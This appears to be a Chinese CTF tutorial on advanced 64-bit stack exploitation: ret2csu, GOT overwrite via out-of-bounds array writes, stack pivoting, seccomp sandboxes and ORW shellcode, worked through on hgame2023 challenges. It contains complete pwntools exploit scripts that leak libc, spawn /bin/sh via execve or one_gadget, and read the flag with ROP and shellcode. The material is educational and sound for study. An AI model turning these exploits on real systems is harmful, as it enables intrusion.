栈溢出进阶
2023-2-17 14:3:0 Author: xz.aliyun.com(查看原文) 阅读量:14 收藏

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,分别是rdi、rsi、rdx、rcx、r8、r9,第7个以后的参数存放在栈中,gadget不够时可以使用__libc_csu_init 中的 gadgets
利用libc_csu_init中的两段代码片段来实现3个参数的传递

例题

level5

与ctfwiki上的例题有细微的差别,但解题思路是一样的

__libc_csu_init
.text:0000000000401190 ; void _libc_csu_init(void)
.text:0000000000401190                 public __libc_csu_init
.text:0000000000401190 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000401190 ; __unwind {
.text:0000000000401190                 push    r15
.text:0000000000401192                 mov     r15, rdx
.text:0000000000401195                 push    r14
.text:0000000000401197                 mov     r14, rsi
.text:000000000040119A                 push    r13
.text:000000000040119C                 mov     r13d, edi
.text:000000000040119F                 push    r12
.text:00000000004011A1                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004011A8                 push    rbp
.text:00000000004011A9                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004011B0                 push    rbx
.text:00000000004011B1                 sub     rbp, r12
.text:00000000004011B4                 sub     rsp, 8
.text:00000000004011B8                 call    _init_proc
.text:00000000004011BD                 sar     rbp, 3
.text:00000000004011C1                 jz      short loc_4011DE
.text:00000000004011C3                 xor     ebx, ebx
.text:00000000004011C5                 nop     dword ptr [rax]
.text:00000000004011C8
.text:00000000004011C8 loc_4011C8:                             ; CODE XREF: __libc_csu_init+4C↓j
.text:00000000004011C8                 mov     rdx, r15
.text:00000000004011CB                 mov     rsi, r14
.text:00000000004011CE                 mov     edi, r13d
.text:00000000004011D1                 call    ds:(__frame_dummy_init_array_entry - 403E10h)[r12+rbx*8]
.text:00000000004011D5                 add     rbx, 1
.text:00000000004011D9                 cmp     rbp, rbx
.text:00000000004011DC                 jnz     short loc_4011C8
.text:00000000004011DE
.text:00000000004011DE loc_4011DE:                             ; CODE XREF: __libc_csu_init+31↑j
.text:00000000004011DE                 add     rsp, 8
.text:00000000004011E2                 pop     rbx
.text:00000000004011E3                 pop     rbp
.text:00000000004011E4                 pop     r12
.text:00000000004011E6                 pop     r13
.text:00000000004011E8                 pop     r14
.text:00000000004011EA                 pop     r15
.text:00000000004011EC                 retn
.text:00000000004011EC ; } // starts at 401190
.text:00000000004011EC __libc_csu_init endp
对第一段gadget的分析

exp
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level = 'debug')

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x00000000004011C8
csu_end_addr = 0x00000000004011E2
fakeebp = b'b' * 8

#def csu(0,1,call,rdi,rsi,rdx,last)
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r13d
    # rsi=r14
    # rdx=r15
    payload = b'a' * (0x80) + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * (0x38)
    payload += p64(last)
    sh.send(payload)
    #sleep(1)


sh.recvuntil(b'Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
## write(1,write_got,8)
csu(0, 1, write_got, 1, write_got, 8, main_addr)

write_addr = u64(sh.recv(8))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil(b'Hello, World\n')
csu(0, 1, read_got, 0, bss_base, 16, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil(b'Hello, World\n')
## execve(bss_base+8)
csu(0, 1, bss_base, bss_base + 8, 0, 0, main_addr)
sh.interactive()

覆写got表原理

.got.plt 相当于.plt的GOT全局偏移表,你可以简单理解成,它存放的就是外部函数的入口地址。也就是说,如果我们将这个函数的地址改成另外一个函数的地址,当程序调用该函数时,实际上会调用到另外一个函数。

数组越界原理

数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段

hgame2023 week1 choose_the_seat

checksec


RELRO:Partial RELRO-->got表可修改

ida

运行程序


可以看到输入负数也可以,确定有数组越界

思路

  • 可以看到.got.plt表离bss段的距离比较近,所以考虑用数组越界写来改变.got.plt表
  • seat的地址为0x4040A0
  • exit的.got.plt表的地址为0x404040
  • exit在seat的低地址处,正好用负数来覆写
  • 两者之差为96,96/16=6,所以用-6可以改变exit
  • 把exit改成_start后可以实现程序的无限循环
  • 同时我们可以知道exit与read地址相差16
  • 在发送完-6时断一下,查看一下got表

  • 成功改变,从这里也可以看出read函数的后三位为fc0,后三位是不会变的
  • 所以写入\xc0不改变read的地址
  • 然后就可以接收到read的真实地址
  • one_gadget libc-2.31.so
  • 收到后用one_gadget搜索一下可用的shell
  • 然后写入-6把退出变成执行shell就行了
  • 这个shell应该是要碰运气,那个可以用哪个


第一个shell不行


第二个可以

exp
from pwn import *
#from LibcSearcher import *
context(os="linux",arch="amd64",log_level='debug')
local=1
if local==1:
    io=remote('week-1.hgame.lwsec.cn',32448)
else:
    io=process("./pwn")
def duan():
    gdb.attach(io)
    pause()

elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")

start=elf.symbols["_start"]
print("start-->",start)



io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")

io.send(p64(start))
#duan()

io.recvuntil(b'one.\n')
io.sendline(b'-7')
io.recvuntil(b"name\n")
io.send(b'\xc0')


read_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('read-->',hex(read_addr))

libc_base=read_addr-libc.symbols['read']
print('libc_base-->',hex(libc_base))


one_gadget=[0xe3afe,0xe3b01,0xe3b04]
shell=libc_base+one_gadget[1]

io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b"name\n")


io.send(p64(shell))
io.interactive()

'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''

栈迁移原理

参考链接PWN!栈迁移原理
将ebp转移到bss或data段,在bss段或data段构造gadget然后在这里执行

  • leave相当于mov esp,ebp pop ebp;
  • ret相当于pop eip;

  • mov esp,ebp 让esp指向ebp的地址

  • pop ebp 把栈顶的值弹到ebp寄存器里,此时ebp就指向了fake ebp1

  • 如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2
    ## 沙盒机制
    就是限制系统调用,pwn题一般限制execve的系统调用
    ## 开启沙盒的两种方式
    ##### prctl函数调用

    int sub_1269()
    {
    __int16 v1; // [rsp+0h] [rbp-70h] BYREF
    __int16 *v2; // [rsp+8h] [rbp-68h]
    __int16 v3; // [rsp+10h] [rbp-60h] BYREF
    char v4; // [rsp+12h] [rbp-5Eh]
    char v5; // [rsp+13h] [rbp-5Dh]
    int v6; // [rsp+14h] [rbp-5Ch]
    __int16 v7; // [rsp+18h] [rbp-58h]
    char v8; // [rsp+1Ah] [rbp-56h]
    char v9; // [rsp+1Bh] [rbp-55h]
    int v10; // [rsp+1Ch] [rbp-54h]
    __int16 v11; // [rsp+20h] [rbp-50h]
    char v12; // [rsp+22h] [rbp-4Eh]
    char v13; // [rsp+23h] [rbp-4Dh]
    int v14; // [rsp+24h] [rbp-4Ch]
    __int16 v15; // [rsp+28h] [rbp-48h]
    char v16; // [rsp+2Ah] [rbp-46h]
    char v17; // [rsp+2Bh] [rbp-45h]
    int v18; // [rsp+2Ch] [rbp-44h]
    __int16 v19; // [rsp+30h] [rbp-40h]
    char v20; // [rsp+32h] [rbp-3Eh]
    char v21; // [rsp+33h] [rbp-3Dh]
    int v22; // [rsp+34h] [rbp-3Ch]
    __int16 v23; // [rsp+38h] [rbp-38h]
    char v24; // [rsp+3Ah] [rbp-36h]
    char v25; // [rsp+3Bh] [rbp-35h]
    int v26; // [rsp+3Ch] [rbp-34h]
    __int16 v27; // [rsp+40h] [rbp-30h]
    char v28; // [rsp+42h] [rbp-2Eh]
    char v29; // [rsp+43h] [rbp-2Dh]
    int v30; // [rsp+44h] [rbp-2Ch]
    __int16 v31; // [rsp+48h] [rbp-28h]
    char v32; // [rsp+4Ah] [rbp-26h]
    char v33; // [rsp+4Bh] [rbp-25h]
    int v34; // [rsp+4Ch] [rbp-24h]
    __int16 v35; // [rsp+50h] [rbp-20h]
    char v36; // [rsp+52h] [rbp-1Eh]
    char v37; // [rsp+53h] [rbp-1Dh]
    int v38; // [rsp+54h] [rbp-1Ch]
    __int16 v39; // [rsp+58h] [rbp-18h]
    char v40; // [rsp+5Ah] [rbp-16h]
    char v41; // [rsp+5Bh] [rbp-15h]
    int v42; // [rsp+5Ch] [rbp-14h]
    __int16 v43; // [rsp+60h] [rbp-10h]
    char v44; // [rsp+62h] [rbp-Eh]
    char v45; // [rsp+63h] [rbp-Dh]
    int v46; // [rsp+64h] [rbp-Ch]
    __int16 v47; // [rsp+68h] [rbp-8h]
    char v48; // [rsp+6Ah] [rbp-6h]
    char v49; // [rsp+6Bh] [rbp-5h]
    int v50; // [rsp+6Ch] [rbp-4h]
    
    prctl(38, 1LL, 0LL, 0LL, 0LL);
    v3 = 32;
    v4 = 0;
    v5 = 0;
    v6 = 4;
    v7 = 21;
    v8 = 0;
    v9 = 9;
    v10 = -1073741762;
    v11 = 32;
    v12 = 0;
    v13 = 0;
    v14 = 0;
    v15 = 53;
    v16 = 7;
    v17 = 0;
    v18 = 0x40000000;
    v19 = 21;
    v20 = 6;
    v21 = 0;
    v22 = 59;
    v23 = 21;
    v24 = 0;
    v25 = 4;
    v26 = 1;
    v27 = 32;
    v28 = 0;
    v29 = 0;
    v30 = 36;
    v31 = 21;
    v32 = 0;
    v33 = 2;
    v34 = 0;
    v35 = 32;
    v36 = 0;
    v37 = 0;
    v38 = 32;
    v39 = 21;
    v40 = 1;
    v41 = 0;
    v42 = 16;
    v43 = 6;
    v44 = 0;
    v45 = 0;
    v46 = 2147418112;
    v47 = 6;
    v48 = 0;
    v49 = 0;
    v50 = 0;
    v1 = 12;
    v2 = &v3;
    return prctl(22, 2LL, &v1);
    }
    

    ##### seccomp库函数

    __int64 sandbox()
    {
    __int64 v1; // [rsp+8h] [rbp-8h]
    
    // 两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) SCMP_ACT_KILL( 0x00000000U)
    // seccomp初始化,参数为0表示白名单模式,参数为0x7fff0000U则为黑名单模式
    v1 = seccomp_init(0LL);
    if ( !v1 )
    {
      puts("seccomp error");
      exit(0);
    }
    
    // seccomp_rule_add添加规则
    // v1对应上面初始化的返回值
    // 0x7fff0000即对应宏SCMP_ACT_ALLOW
    // 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
    // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传0不做任何限制
    seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
    seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);
    
    // seccomp_load - Load the current seccomp filter into the kernel
    if ( seccomp_load(v1) < 0 )
    {
      // seccomp_release - Release the seccomp filter state
      // 但对已经load的过滤规则不影响
      seccomp_release(v1);
      puts("seccomp error");
      exit(0);
    }
    return seccomp_release(v1);
    }
    

    ##### seccomp-tools识别沙盒
    seccomp-tools识别沙盒
    #### hgame2023 week1 orw
    ##### checksec

ida


可以看文字提示有沙盒
或者点进去看看

int sandbox()
{
  __int16 v1; // [rsp+0h] [rbp-40h] BYREF
  __int16 *v2; // [rsp+8h] [rbp-38h]
  __int16 v3; // [rsp+10h] [rbp-30h] BYREF
  char v4; // [rsp+12h] [rbp-2Eh]
  char v5; // [rsp+13h] [rbp-2Dh]
  int v6; // [rsp+14h] [rbp-2Ch]
  __int16 v7; // [rsp+18h] [rbp-28h]
  char v8; // [rsp+1Ah] [rbp-26h]
  char v9; // [rsp+1Bh] [rbp-25h]
  int v10; // [rsp+1Ch] [rbp-24h]
  __int16 v11; // [rsp+20h] [rbp-20h]
  char v12; // [rsp+22h] [rbp-1Eh]
  char v13; // [rsp+23h] [rbp-1Dh]
  int v14; // [rsp+24h] [rbp-1Ch]
  __int16 v15; // [rsp+28h] [rbp-18h]
  char v16; // [rsp+2Ah] [rbp-16h]
  char v17; // [rsp+2Bh] [rbp-15h]
  int v18; // [rsp+2Ch] [rbp-14h]
  __int16 v19; // [rsp+30h] [rbp-10h]
  char v20; // [rsp+32h] [rbp-Eh]
  char v21; // [rsp+33h] [rbp-Dh]
  int v22; // [rsp+34h] [rbp-Ch]

  v3 = 32;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 21;
  v8 = 2;
  v9 = 0;
  v10 = 59;
  v11 = 21;
  v12 = 1;
  v13 = 0;
  v14 = 322;
  v15 = 6;
  v16 = 0;
  v17 = 0;
  v18 = 2147418112;
  v19 = 6;
  v20 = 0;
  v21 = 0;
  v22 = 0;
  v1 = 5;
  v2 = &v3;
  prctl(38, 1LL, 0LL, 0LL, 0LL);
  return prctl(22, 2LL, &v1);
}
seccomp-tools识别沙盒


可以看到限制了execve的系统调用

思路
  • 限制execve的系统调用,所以使用open read write
  • 又因为只溢出了0x30的字节,然后中间还有8字节的pre ebp
  • 所以只有0x28的字节可以利用,空间太小没法open read write
  • 所以使用栈迁移
    ##### 构造gadget
  • 这里用bss段构造,但是不能用bss段的起始位置,好像是因为把栈转移到这个地方后,会自动向下(低地址)处申请一块空间作为栈的部分,但bss段的低地址处的数据是很重要的,不能被改变,改变程序就会崩溃,所以此时用的地址一般是bss的起始位置加上一个比较大的数
  • 所以buf=elf.bss()+0x150
  • 这里是先构造了一段rop链(gets(buf))以便于在buf处写入东西
  • 然后构造open read write
  • open('buf+0x88',0)
  • read(3,buf+0x90,0x100) 第一次打开文件用3
  • puts(buf+0x90)
    ##### buf
    经计算得到buf的地址为0x4041b0


从ida上看,这个地址已经超出了bss段的地址


但这一段依然可读可写可执行,所以应该是在data段

orw
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'

这里flag字符串是自己写入的,open读取这个位置的flag,然后read在下个地址把它读入,最后puts输出flag

栈迁移
  • payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
  • 迁移到buf的上个低地址处
  • leave_ret随便从一个函数后面找一个就行

exp
from pwn import *
context(os="linux",arch="amd64",log_level='debug')

elf=ELF("./stack_pivoting")
libc=ELF("./libc-2.31.so")

local=1
if local==1:
    io=remote('week-1.hgame.lwsec.cn',30891)
else:
    io=process("./stack_pivoting")

def duan():
    gdb.attach(io)
    pause()

pop_rdi=0x401393
pop_rsi_r15=0x401391
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start=elf.symbols['_start']
read=elf.plt['read']

payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(start)
io.sendafter(b'task.\n',payload)
puts_got=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
libc_base=puts_got-libc.symbols['puts']

print('libc_base-->'+hex(libc_base))

buf=elf.bss()+0x150
gets=libc_base+libc.symbols['gets']
payload=cyclic(0x100+0x8)+p64(pop_rdi)+p64(buf)+p64(gets)+p64(start)
io.sendafter(b'task.\n',payload)

open=libc_base+libc.symbols['open']
pop_rdx=libc_base+0x142c92

#open('buf+0x88',0)
#read(3,buf+0x90,0x100)  第一次打开文件用3
#puts(buf+0x90)
payload=p64(pop_rdi)+p64(buf+0x88)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(buf+0x90)+p64(0)
payload+=p64(pop_rdx)+p64(0x100)+p64(read)
payload+=p64(pop_rdi)+p64(buf+0x90)+p64(puts_plt)+b'flag\x00aaa'
io.sendline(payload)

leave_ret=0x4012e
payload=cyclic(0x100)+p64(buf-0x8)+p64(leave_ret)
io.sendafter(b'task.\n',payload)
io.recv()

'''
0x000000000040138c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401390 : pop r14 ; pop r15 ; ret
0x0000000000401392 : pop r15 ; ret
0x000000000040138b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040138f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x0000000000401393 : pop rdi ; ret
0x0000000000401391 : pop rsi ; pop r15 ; ret
0x000000000040138d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
0x00000000004012a8 : ret 0x2be
'''

hgame week1 simple_shellcode

checksec


保护全开

ida

seccomp-tools识别沙盒

思路

mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL)
这里的mmap应该是向0xCAFE0000LL申请了一段0x1000uLL的空间,7代表可读可写可执行
因为read只读入0x10个字节,空间太小

  • 也可以看到后面调用了rdx,所以可以通过改变rdx再次调用read
  • 然后就在原来read函数读入地址的后面去写入shellcode
  • 64位下read的系统调用号是0
  • read(0,0x0xCAFE0010+0xxxx,0x1000)
  • rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
    ##### gdb
    直接断在地址上

    应该是出了什么错误
    调试到call rdx的位置看看

AX  0x0
 RBX  0x5555555553d0 (__libc_csu_init) ◂— endbr64 
 RCX  0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
 RDX  0xcafe0000 ◂— 0xa6e /* 'n\n' */
 RDI  0x16
 RSI  0x2
 R8   0x0
 R9   0x0
 R10  0x7ffff7ee1d3e (prctl+14) ◂— cmp rax, -0xfff
 R11  0x217
 R12  0x555555555100 (_start) ◂— endbr64 
 R13  0x7fffffffe060 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdf70 ◂— 0x0
 RSP  0x7fffffffdf60 —▸ 0x7fffffffe060 ◂— 0x1
 RIP  0x5555555553b9 (main+131) ◂— call rdx

所以写一下汇编

  • read(0,0x0xCAFE0010+0xxxx,0x1000)
  • rax=0,rdi=0,rsi=0x0xCAFE0010+0xxxx,rdx=0x1000
  • RAX 0x0
  • RDI 0x16
  • RSI 0x2
  • RDX 0xcafe0000
    shellcode=asm('''
     mov rdi,rax;
     mov rsi,0xCAFE0010;
     syscall;
     nop;
     ''')

    ##### orw
    shellcode= asm('''
     push 0x67616c66
     mov rdi,rsp
     xor esi,esi
     push 2
     pop rax
     syscall
     mov rdi,rax
     mov rsi,rsp
     mov edx,0x100
     xor eax,eax
     syscall
     mov edi,1
     mov rsi,rsp
     push 1
     pop rax
     syscall
     ''')
    ##### exp
    shellcode= asm('''
     push 0x67616c66
     mov rdi,rsp
     xor esi,esi
     push 2
     pop rax
     syscall
     mov rdi,rax
     mov rsi,rsp
     mov edx,0x100
     xor eax,eax
     syscall
     mov edi,1
     mov rsi,rsp
     push 1
     pop rax
     syscall
     ''')
    

文章来源: https://xz.aliyun.com/t/12177
如有侵权请联系:admin#unsafe.sh